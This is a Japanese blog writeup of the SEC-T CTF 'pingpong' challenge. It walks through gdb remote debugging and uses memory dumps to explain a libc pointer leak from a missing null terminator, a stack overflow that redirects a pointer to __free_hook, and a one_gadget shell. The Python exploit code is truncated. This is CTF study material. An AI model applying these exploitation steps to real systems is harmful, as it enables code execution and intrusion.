タイヤ痕
(たいやこん とよみます)
SyntaxHighlighter
2018年10月5日金曜日
SEC-T CTF pingpong のwriteup
# 概要 https://ctftime.org/task/6618 SEC-T CTFというので出題されたpingpongという問題。 ササッと解いた上手な人に教えてもらいました。 (bloggerに導入したmarkdownで書いたコードブロックは表示がよくなくて、見づらくてすみません) ## デバッグの準備 gdb pedaで`start`するとなぜか`No unwaited-for children left.中止 (コアダンプ)`となるので、一旦`run`して途中まで進めて、そんで中断してからもう一回`start`するとなぜか大丈夫なのでgdb単体で実行するときはそうする。 これに限らずリモートデバッグした方がよい(らしいです。) ### リモートデバッグのやりかた 最初はgdbで実行だが、 あとはリモートデバッグすべき gdb -xでスクリプトを実行できるので、そのスクリプトに見たい位置にbreakpointを仕掛けてrunするようなコマンドを書いておけばよい #### ファイル:cmd ``` file ./pingpong target remote localhost:1234 start c ``` #### ファイル:debug.sh ``` gdbserver localhost:1234 ./pingpong ``` いつものとおり #### リモートサーバたてる ``` socat TCP-LISTEN:1025,reuseaddr,fork exec:./debug.sh ``` #### ソルバスクリプトでペイロードを送信したりいろいろする ``` python solver.py ``` ##### 中身テンプレート ``` #!/usr/bin/python # -*- coding:utf-8 -*- import socket, struct, telnetlib # --- common funcs --- def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() # def p(a): return struct.pack("
") #read_until(f) #f.read(4) #shell(s) ``` ### 中身の見方( mainへの飛び方 ) ストリップされているので`gdb-peda$ break main`とかできない IDAか何かで`start`から`main`に飛ぶとこを見て`main`のアドレス(のオフセット、今回は`0x0c43`)を調べる 次に`gdb-peda$ vmmap`でテキストエリアのベースアドレス(今回は`0x0000555555554000`)を調べる。 足してmainのアドレスになるのでブレークポイントを仕掛ける。`b *0x0000555555554000+0x0c43` そして`run`なり`continue`なりする ### ちなみにメモリマップ ``` gdb-peda$ vmmap Start End Perm Name 0x0000555555554000 0x0000555555556000 r-xp /media/sf_work/pingpong 0x0000555555755000 0x0000555555756000 r--p /media/sf_work/pingpong 0x0000555555756000 0x0000555555757000 rw-p /media/sf_work/pingpong 0x0000555555757000 0x0000555555778000 rw-p [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped 0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fd3000 0x00007ffff7fd6000 rw-p mapped 0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] ``` ## 処理の中身を読んでいく 今までgdb-pedaとradar2だけで読んでいたが、CLIだけで読むより、適材適所ということで読むときはIDAを使うべきかもしれない。 なので下手な英語で変数名とかコメントとかなんか色々名前つけてわかりやすくした、[IDAのファイル(ダウンロードリンク)](https://drive.google.com/file/d/1WBfcGGzprm9iB9esN7AsEnJArbS1hAQc/view?usp=sharing)を見てもらった方が早い。 以下、命令の横に書いてあるアドレスはASLRオフ時の自分の環境の話 (`gdb-peda$ vmmpa`で見たテキストエリアのベースアドレス`0x0000555555554000`を差し引くと元のプログラムのアドレスになる) 画像と説明はあんまり対応していない(IDAの画像は変数や関数の名前変えちゃってる)ので画像の方だけみたほうがわかりやすいと思われます ### main関数
#### ロゴの表示( `print_logo` ) `0x555555554c73: call 0x555555554af9(print_logo)` がpingpongのロゴの表示 別に見るところないので省略 #### メインであるpingやpongの処理 ( `pingpong_loop` ) `0x555555554c7d: call 0x555555554b93(pingpong_loop)` が`ping:`で入力受け付けたり`pong:`でなんか表示したりする、メインの処理を行う ### pingやpongの処理 ( `pingpong_loop` )
pingとpongをループして処理している ### pingの中身 (`get_ping_char_and_proccess`) 引数は1つ、スタック上のバッファのアドレス。`0x7fffffffdb40`。
##### 文字入力受付 `0x555555554a5b: call 0x555555554810
` で1文字ずつ入力を受ける。 `0x555555554a63: cmp BYTE PTR [rbp-0x19],0xff` `0x555555554a69: cmp BYTE PTR [rbp-0x19],0xa` で、`$rbp-0x19`に格納された1文字を`0xff(ASLRオフ時のlibcとかのアドレスは0xffが沢山入るので、それをハネるためのイジワル?)`や`0x0a(改行)`と比較している もし0xffでも0x0aでもないなら、また`getchar`で一文字受け付ける 終わったら入力文字の長さをチェックする `0x555555554a76: call 0x5555555547e0
` 23文字のaを入力し、starlenの結果は0x17 = 23になる つづくmallocのあたりではスタックからヒープに移す準備... `0x555555554a83: call 0x555555554820
` ##### 偶数番目の文字を大文字(というか0x20とのXOR) `0x555555554a98: and eax,0x1` インデックスのLSB 1bitを見て、偶数と奇数で処理を分ける `0x555555554ac1: xor eax,0x20` インデックスが偶数の場合、0x20とasciiコードのXORをとる。アルファベットなら大文字と小文字が反転することになる。 `0x555555554c1b: call 0x555555554800
` プリント いろいろやったらまた `0x555555554be0: lea rdi,[rip+0x6ae]` に戻ってループ [IDAのファイル(ダウンロードリンク)](https://drive.google.com/file/d/1WBfcGGzprm9iB9esN7AsEnJArbS1hAQc/view?usp=sharing)見てもらったほうが早いが、 **ヌル文字で終端させていない** 。 後述の、スタック上のバッファ周りを見てもらうと、スタックの下の方(=メモリアドレス大の方)にちょうどよくlibcの関数(`_IO_puts+362`)のポインタと、その次に`0x0`が来ているのがわかる。 これによってうまいことやると、libcの関数のポインタの中身をリークさせることができる。 ## エクスプロイト 1. **1回目の`ping:`** 1. `ping:`のときに入力を受け付けるバッファの後ろ(メモリアドレス大の方)に`0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp eax,0xffffffff)`があるので、それをリークさせる 1. 出力されたデータは1バイトとびに0x20とXORを取られているので同じことして戻す 2. そこからlibcのベースアドレスを計算(libcはどれ使うか既知) 3. **2回目の`ping:`** 4. `__free_hook`の位置を、さっき求めたlibcのベースアドレスと、事前にASLRオフの状態`gdb-peda$ p $__free_hook`で検索したアドレスと、libcのベースアドレスから、オフセットを求めておき、`__free_hook`のランダマイズ後のアドレスを計算する 3. 「入力した文字が格納される場所」を指すポインタが、「入力した文字が格納される場所」より後方(メモリアドレス大の方、スタックでは下の方)にあるので、「入力した文字が格納される場所」をオーバーフローさせて「入力した文字が格納される場所」を指すポインタを、`__free_hook`を指すように書き換える 4. **3回目の`ping:`** 5. `__free_hook`のアドレスを書き換えて、one_gadget(運がよけりゃ一発でシェルを起動できる)のアドレスにする 6. 文字入力の`ping:`ののちfreeが呼ばれる場所があるので、そのときに`__free_hook`が呼ばれてシェル起動 7. 幸せ となる ### 1. リークについて #### 入力を格納しておくバッファを見る 文字をに入力完了後... ``` gdb-peda$ tele 0x7fffffffdc40 16 0000| 0x7fffffffdc40 ('a'
) 0008| 0x7fffffffdc48 ('a'
) 0016| 0x7fffffffdc50 --> 0x61616161616161 ('aaaaaaa') 0024| 0x7fffffffdc58 --> 0x7fffffffdc6f --> 0x57ccc 0032| 0x7fffffffdc60 --> 0x7fffffffde10 --> 0x1 0040| 0x7fffffffdc68 --> 0xcc007fffffffdc7f 0048| 0x7fffffffdc70 --> 0x57c 0056| 0x7fffffffdc78 --> 0xcc007ffff7dd2620 0064| 0x7fffffffdc80 --> 0x555555554d18 --> 0x96e2202020202020 0072| 0x7fffffffdc88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp eax,0xffffffff) 0080| 0x7fffffffdc90 --> 0x0 0088| 0x7fffffffdc98 --> 0x7fffffffdcc0 --> 0x7fffffffdcf0 --> 0x7fffffffdd30 --> 0x555555554c90 (push r15) 0096| 0x7fffffffdca0 --> 0x555555554860 (xor ebp,ebp) 0104| 0x7fffffffdca8 --> 0x55555555498d (nop) 0112| 0x7fffffffdcb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('') ``` #### (オフセット`0x7fffffffdbc8 - 0x7fffffffdc40`を計算して同じバイト数だけ'a'を送って)リークしようとしたあと ``` gdb-peda$ tele 0x7fffffffdb80 20 0000| 0x7fffffffdb80 ('a'
, "\372ǧ\367\377\177") 0008| 0x7fffffffdb88 ('a'
, "\372ǧ\367\377\177") 0016| 0x7fffffffdb90 ('a'
, "\372ǧ\367\377\177") 0024| 0x7fffffffdb98 ('a'
, "\372ǧ\367\377\177") 0032| 0x7fffffffdba0 ('a'
, "\372ǧ\367\377\177") 0040| 0x7fffffffdba8 ('a'
, "\372ǧ\367\377\177") 0048| 0x7fffffffdbb0 ('a'
, "\372ǧ\367\377\177") 0056| 0x7fffffffdbb8 ('a'
, "\372ǧ\367\377\177") 0064| 0x7fffffffdbc0 ("aaaaaaaa\372ǧ\367\377\177") 0072| 0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp eax,0xffffffff) 0080| 0x7fffffffdbd0 --> 0x0 ``` 確かめる...`aaa...`のお尻についているものは、ヌル文字まで読むとたしかに`_IO_puts+362`のアドレスが入るのでこれをprintすればリークできると確認できる。 ``` gdb-peda$ x/32bx 0x7fffffffdbc0 0x7fffffffdbc0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x7fffffffdbc8: 0xfa 0xc7 0xa7 0xf7 0xff 0x7f 0x00 0x00 0x7fffffffdbd0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdbd8: 0x00 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00 ``` ### 2. バッファオーバーフロー 先のIDAファイルで関数`pingpong_loop`から`get_ping_char_and_process`を呼んだあとスタックを見る... ``` gdb-peda$ stack 0x28 0000| 0x7fffffffdb30 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push r15) 0008| 0x7fffffffdb38 --> 0x555555554bfd (mov QWORD PTR [rbp-0x10],rax) 0016| 0x7fffffffdb40 --> 0x57c 0024| 0x7fffffffdb48 --> 0xcc007ffff7dd2620 0032| 0x7fffffffdb50 --> 0xa ('\n') 0040| 0x7fffffffdb58 --> 0x7fffffffdb6f --> 0x57ccc 0048| 0x7fffffffdb60 --> 0x7fffffffdd10 --> 0x1 0056| 0x7fffffffdb68 --> 0xcc007fffffffdb7f 0064| 0x7fffffffdb70 --> 0x57c 0072| 0x7fffffffdb78 --> 0xcc007ffff7dd2620 0080| 0x7fffffffdb80 --> 0x555555554d18 --> 0x96e2202020202020 0088| 0x7fffffffdb88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp eax,0xffffffff) 0096| 0x7fffffffdb90 --> 0x0 0104| 0x7fffffffdb98 --> 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push r15) 0112| 0x7fffffffdba0 --> 0x555555554860 (xor ebp,ebp) 0120| 0x7fffffffdba8 --> 0x55555555498d (nop) 0128| 0x7fffffffdbb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('') 0136| 0x7fffffffdbb8 --> 0xd9206eb282fc4d00 0144| 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push r15) 0152| 0x7fffffffdbc8 --> 0x555555554b7c (nop) 0160| 0x7fffffffdbd0 --> 0x7fffffffdd28 --> 0x7fffffffe0fe --> 0x0 0168| 0x7fffffffdbd8 --> 0x7fffffffdb40 --> 0x57c 0176| 0x7fffffffdbe0 --> 0x7ffff7ffe168 --> 0x555555554000 --> 0x10102464c457f 0184| 0x7fffffffdbe8 --> 0xd9206eb282fc4d00 0192| 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push r15) ``` となっている。 先述のとおりバッファの開始位置は`0x7fffffffdb40`で、 そのバッファを指すポインターは`0x7fffffffdbd8`にある。 `0x7fffffffdb38`以降は先のIDAファイルで`get_ping_char_and_proccess`と名付けたサブルーチンのスタックフレーム、 `0x7fffffffdbf8` ~ `0x7fffffffdb40`は先のIDAファイルで`pingpong_loop`と名付けたサブルーチンのスタックフレームである。 スタックカナリアが使われているが、スタックフレームを跨いでいないのでなんの障害もなくバッファオーバーフローを利用して、バッファのポインタを書き換えることができる。 なので単に`'a'`を`0x7fffffffdbd8 - 0x7fffffffdb40`個送り、そのあとに何か送ればポインタ`0x7fffffffdbd8`を書き換えることができる。 ### 3. onegadget 上までの手順を踏めば、書き込み先のポインタ`0x7fffffffdbd8`が指す先が書き換えられており、`__free_hook`を指すようになる。 そこをonegadget(呼べばシェル起動できる)のアドレスで書き換える。何もせずただ送るだけでいい。 ### エクスプロイトコード (変数名とかがアレなのはご容赦ください) ``` #!/usr/bin/python # -*- coding:utf-8 -*- import socket, struct, telnetlib # --- common funcs --- def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() # def p(a): return struct.pack("
0 件のコメント:
コメントを投稿
‹
›
ホーム
ウェブ バージョンを表示
0 件のコメント:
コメントを投稿